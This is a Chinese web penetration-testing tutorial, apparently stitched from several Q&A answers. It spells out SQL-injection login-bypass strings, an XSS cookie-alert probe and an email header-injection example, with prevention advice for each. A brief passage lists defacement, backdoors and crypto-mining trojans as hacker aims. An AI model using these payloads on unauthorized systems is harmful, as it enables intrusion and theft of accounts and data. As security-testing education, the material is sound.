當我們能跟內網主機進行通信後,我們就要開始進行內網滲透了。可以先使用nmap對內網主機進行掃描,探測在線的主機,並且探測其使用的操作系統、開放的埠等信息。
內網中也有可能存在供內網使用的內網伺服器,可以進一步滲透拿下其許可權。
痕跡清除
達到了目的之後,有時候只是為了黑入網站掛黑頁,炫耀一下;或者在網站留下一個後門,作為肉雞,沒事的時候上去溜達溜達;亦或者掛入挖礦木馬。
撰寫滲透測試保告
在完成了滲透測試之後,就需要對這次滲透測試撰寫滲透測試報告了。明確的寫出哪裡存在漏洞,以及漏洞修補的方法。以便於網站管理員根據我們的滲透測試報告修補這些漏洞和風險,防止被黑客攻擊。
Ⅷ 如何進行Web滲透測試
1.SQL Injection(SQL注入)
(1)如何進行SQL注入測試?
首先找到帶有參數傳遞的URL頁面,如 搜索頁面,登錄頁面,提交評論頁面等等.
注1:對 於未明顯標識在URL中傳遞參數的,可以通過查看HTML源代碼中的"FORM"標簽來辨別是否還有參數傳遞.在<FORM> 和</FORM>的標簽中間的每一個參數傳遞都有可能被利用.
<form id="form_search" action="/search/" method="get">
<div>
<input type="text" name="q" id="search_q" value="" />
<input name="search" type="image" src="/media/images/site/search_btn.gif" />
<a href="/search/" class="fl">Gamefinder</a>
</div>
</form>
注 2:當你找不到有輸入行為的頁面時,可以嘗試找一些帶有某些參數的特殊的URL,如http://DOMAIN/INDEX.ASP?ID=10
其 次,在URL參數或表單中加入某些特殊的SQL語句或SQL片斷,如在登錄頁面的URL中輸入http://DOMAIN /INDEX.ASP?USERNAME='HI' OR 1=1
注1:根據實際情況,SQL注入請求可以使用以下語句:
' or 1=1- -
" or 1=1- -
or 1=1- -
' or 'a'='a
" or "a"="a
') or ('a'='a
注2:為什麼是OR, 以及',――是特殊的字元呢?
例子:在登錄時進行身份驗證時,通常使用如下語句來進行驗證:sql=select * from user where username='username' and pwd='password'
如 輸入http://ck/index.asp?username=admin' or 1='1&pwd=11,SQL語句會變成以下:sql=select * from user where username='admin' or 1='1' and password='11'
' 與admin前面的'組成了一個查詢條件,即username='admin',接下來的語句將按下一個查詢條件來執行.
接 下來是OR查詢條件,OR是一個邏輯運 算符,在判斷多個條件的時候,只要一個成立,則等式就成立,後面的AND就不再時行判斷了,也就是 說我們繞過了密碼驗證,我們只用用戶名就可以登錄.
如 輸入http://ck/index.asp?username=admin'--&pwd=11,SQL語 句會變成以下sql=select * from user where name='admin' --' and pasword='11',
'與admin前面的'組成了一個查 詢條件,即username='admin',接下來的語句將按下一個查詢條件來執行
接下來是"--"查詢條件,「--」是忽略或注釋,上 述通過連接符注釋掉後面的密碼驗證(注:對ACCESS資料庫無 效).
最後,驗證是否能入侵成功或是出錯的信息是否包含關於資料庫伺服器 的相關信息;如果 能說明存在SQL安 全漏洞.
試想,如果網站存在SQL注入的危險,對於有經驗的惡意用戶還可能猜出資料庫表和表結構,並對資料庫表進行增\刪\改的操 作,這樣造成的後果是非常嚴重的.
(2)如何預防SQL注入?
從應用程序的角度來講,我們要做以下三項工作:
轉義敏感字元及字元串(SQL的敏感字元包括「exec」,」xp_」,」sp_」,」declare」,」Union」,」cmd」,」+」,」//」,」..」,」;」,」『」,」--」,」%」,」0x」,」><=!-*/()|」,和」空格」).
屏蔽出錯信息:阻止攻擊者知道攻擊的結果
在服務端正式處理之前提交數據的合法性(合法性檢查主要包括三 項:數據類型,數據長度,敏感字元的校驗)進行檢查等。最根本的解決手段,在確認客 戶端的輸入合法之前,服務端拒絕進行關鍵性的處理操作.
從測試人員的角度來講,在程序開發前(即需求階段),我們就應該有意識的將安全性檢查應用到需求測試中,例如對一個表單需求進行檢查時,我們一般檢驗以下幾項安全性問題:
需求中應說明表單中某一FIELD的類型,長度,以及取值范圍(主要作用就是禁止輸入敏感字元)
需求中應說明如果超出表單規定的類型,長度,以及取值范圍的,應用程序應給出不包含任何代碼或資料庫信息的錯誤提示.
當然在執行測試的過程中,我們也需求對上述兩項內容進行測試.
2.Cross-site scritping(XSS):(跨站點腳本攻擊)
(1)如何進行XSS測試?
<!--[if !supportLists]-->首先,找到帶有參數傳遞的URL,如 登錄頁面,搜索頁面,提交評論,發表留言 頁面等等。
<!--[if !supportLists]-->其次,在頁面參數中輸入如下語句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)來進行測試:
<scrīpt>alert(document.cookie)</scrīpt>
最後,當用戶瀏覽 時便會彈出一個警告框,內容顯示的是瀏覽者當前的cookie串,這就說明該網站存在XSS漏洞。
試想如果我們注入的不是以上這個簡單的測試代碼,而是一段經常精心設計的惡意腳本,當用戶瀏覽此帖時,cookie信息就可能成功的被 攻擊者獲取。此時瀏覽者的帳號就很容易被攻擊者掌控了。
(2)如何預防XSS漏洞?
從應用程序的角度來講,要進行以下幾項預防:
對Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等 語句或腳本進行轉義.
在 服務端正式處理之前提交數據的合法性(合法性檢查主要包括三項:數據類型,數據長度,敏感字元的校驗)進行檢查等。最根本的解決手段,在確認客戶端的輸入合法之前,服務端 拒絕進行關鍵性的處理操作.
從測試人員的角度來講,要從需求檢查和執行測試過程兩個階段來完成XSS檢查:
在需求檢查過程中對各輸入項或輸出項進行類型、長度以及取 值范圍進行驗證,著重驗證是否對HTML或腳本代碼進行了轉義。
執行測試過程中也應對上述項進行檢查。
3.CSRF:(跨站點偽造請求)
CSRF盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,並且攻擊方式幾乎相左。
XSS是利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。
XSS也好,CSRF也好,它的目的在於竊取用戶的信息,如SESSION 和 COOKIES,
(1)如何進行CSRF測試?
目前主要通過安全性測試工具來進行檢查。
(2)如何預防CSRF漏洞?
請參見http://www.hanguofeng.cn/archives/security/preventing-csrf
4.Email Header Injection(郵件標頭注入)
Email Header Injection:如果表單用於發送email,表單中可能包括「subject」輸入項(郵件標題),我們要驗證subject中應能escape掉「\n」標識。
<!--[if !supportLists]--><!--[endif]-->因為「\n」是新行,如果在subject中輸入「hello\ncc:[email protected]」,可能會形成以下
Subject: hello
cc: [email protected]
<!--[if !supportLists]--><!--[endif]-->如果允許用戶使用這樣的subject,那他可能會給利用這個缺陷通過我們的平台給其它用 戶發送垃圾郵件。
5.Directory Traversal(目錄遍歷)
(1)如何進行目錄遍歷測試?
目錄遍歷產生的原因是:程序中沒有過濾用戶輸入的「../」和「./」之類的目錄跳轉符,導致惡意用戶可以通過提交目錄跳轉來遍歷伺服器上的任意文件。
測試方法:在URL中輸入一定數量的「../」和「./」,驗證系統是否ESCAPE掉了這些目錄跳轉符。
(2)如何預防目錄遍歷?
限制Web應用在伺服器上的運行
進 行嚴格的輸入驗證,控制用戶輸入非法路徑
6.exposed error messages(錯誤信息)
(1)如何進行測試?
首 先找到一些錯誤頁面,比如404,或500頁面。
驗證在調試未開通過的情況下,是否給出了友好的錯誤提示信息比如「你訪問的頁面不存 在」等,而並非曝露一些程序代碼。
(2)如何預防?
測試人員在進行需求檢查時,應該對出錯信息 進行詳細查,比如是否給出了出錯信息,是否給出了正確的出錯信息。
Ⅸ 常見36種WEB滲透測試漏洞描述及解決方法-不安全HTTP方法
漏洞描述:目標伺服器啟用不安全的傳輸方法,如PUT、TRACE、DELETE、MOVE等,這可能在伺服器上使用 WebDAV,由於DAV方法允許客戶端操縱伺服器上的文件,若沒有合理配置dav,有可能允許未授權的用戶利用其修改伺服器上的文件。
解決方法:
(1)關閉不安全的傳輸方法,推薦POST、GET方法。
(2)如果伺服器不需要支持 WebDAV,請務必禁用它。或者為允許webdav的目錄配置嚴格的訪問許可權,如認證方法,認證需要的用戶名,密碼。
Ⅹ 如何進行Web滲透測試
什麼是滲透測試?
滲透測試,是滲透測試工程師完全模擬黑客可能使用的攻擊技術和漏洞發現技術,對目標網路、主機、應用的安全作深入的探測,發現系統最脆弱的環節。
如何進行Web滲透測試?
完整web滲透測試框架當需要測試的web應用數以千計,就有必要建立一套完整的安全測試框架,流程的最高目標是要保證交付給客戶的安全測試服務質量。
1、立項:項目建立,時間安排,人力分配,目標制定,廠商介面人確定;
系統分析&威脅分析:針對具體的web應用,分析系統架構、使用的組件、對外提供的介面等,以STRIDE為威脅模型進行對應的安全威脅分析,輸出安全威脅分析表,重點關注top3威脅;
制定測試用例:根據威脅分析的結果制定對應的測試用例,測試用例按照模板輸出,具備可執行性;
測試執行&漏洞挖掘:測試用例執行&發散測試,挖掘對應的安全問題or漏洞;
問題修復&回歸測試:指導客戶應用開發方修復安全問題or漏洞,並進行回歸測試,確保安全問題or漏洞得到修復,並且沒有引入新的安全問題;
項目總結評審:項目過程總結,輸出文檔評審,相關文檔歸檔。
2、Web應用的滲透測試流程
主要分為3個階段,分別是:信息收集→漏洞發現→漏洞利用,下面仔細分析一下各個階段流程:
一、信息收集
在信息收集階段,我們需要盡量多的收集關於目標web應用的各種信息,比如:腳本語言的類型、伺服器的類型、目錄的結構、使用的開源軟體、資料庫類型、所有鏈接頁面,用到的框架等
腳本語言的類型:常見的腳本語言的類型包括:php、asp、aspx、jsp等
測試方法:
1 爬取網站所有鏈接,查看後綴
2 直接訪問一個不存在頁面後面加不同的後綴測試
3 查看robots.txt,查看後綴
伺服器的類型:常見的web伺服器包括:apache、tomcat、IIS、ngnix等
測試方法:
1 查看header,判斷伺服器類型
2 根據報錯信息判斷
3 根據默認頁面判斷
目錄的結構:了解更多的目錄,可能發現更多的弱點,如:目錄瀏覽、代碼泄漏等。
測試方法
1 使用字典枚舉目錄
2 使用爬蟲爬取整個網站,或者使用google等搜索引擎獲取
3 查看robots.txt是否泄漏
使用的開源軟體:我們如果知道了目標使用的開源軟體,我們可以查找相關的軟體的漏洞直接對網站進行測試。
測試方法
指紋識別(網路上有很多開源的指紋識別工具)
資料庫類型:對於不同的資料庫有不同的測試方法。
測試方法
1 使應用程序報錯,查看報錯信息
2 掃描伺服器的資料庫埠(沒做NAT且防火牆不過濾時有效)
所有鏈接頁面:這個跟前面的獲取目錄結構類似,但是這個不只是獲取網站的所有功能頁面,有時候還可以獲取到管理員備份的源碼。
測試方法
1 使用字典枚舉頁面
2 使用爬蟲爬取整個網站,或者使用google等搜索引擎獲取
3 查看robots.txt是否泄漏
用到的框架:很多網站都利用開源的框架來快速開發網站,所以收集網站的框架信息也是非常關鍵的。
測試方法
指紋識別(網路上有很多開源的指紋識別工具)
二、漏洞發現
在這個階段我們在做測試的時候要對症下葯,不能盲目的去掃描,首先要確定目標應用是否使用的是公開的開源軟體,開源框架等、然後在做深一度的漏洞掃描。
關於開源軟體的漏洞發現
開源的軟體:常見的開源軟體有wordpress、phpbb、dedecms等
開源的框架:常見的開源框架有Struts2、 Spring MVC、ThinkPHP等
中間件伺服器:常見的中間件伺服器有jboss、tomcat、Weblogic等
資料庫服務:常見的資料庫服務mssql、mysql、oracle、redis、sybase、MongoDB、DB2等
對於開源軟體的測試方法
1 通過指紋識別軟體判斷開源軟體的版本信息,針對不同的版本信息去開放的漏洞資料庫查找相應版本的漏洞進行測試
2 對於默認的後台登錄頁、資料庫服務埠認證等入口可以進行簡單的暴力破解、默認口令嘗試等操作
3 使用開源的漏洞發現工具對其進行漏洞掃描,如:WPScan
關於自主開發的應用
手動測試:這個階段,我們需要手工測試所有與用戶交互的功能,比如:留言、登入、下單、退出、退貨、付款等操作
軟體掃描:使用免費的軟體掃描,如:appscan、wvs、netsparker,burp等
可能存在的漏洞
Owasp關鍵點
代碼安全之上傳文件
代碼安全之文件包含
代碼安全之SSRF
邏輯漏洞之密碼重置
邏輯漏洞之支付漏洞
邏輯漏洞之越權訪問
平台安全之中間件安全
三、漏洞利用
針對不同的弱點有不同的漏洞利用方式,需要的知識點也比較多。一般這個階段包括兩種方式,一種是手工測試,一種是工具測試
手工測試
手工測試是通過客戶端或伺服器訪問目標服務,手工向目標程序發送特殊的數據,包括有效的和無效的輸入,觀察目標的狀態、對各種輸入的反應,根據結果來發現問題的漏洞檢測技術。手工測試不需要額外的輔助工具,可由測試者獨立完成,實現起來比較簡單。但這種方法高度依賴於測試者,需要測試者對目標比較了解。手工測試可用於Web應用程序、瀏覽器及其他需要用戶交互的程序。
這種方式對於有特殊過濾等操作,或者網路上沒有成型的利用工具的時候可以使用。
工具測試
網路上有很多好用的免費利用工具,比如針對sql注入的sqlmap、針對軟體漏洞的matesploit等。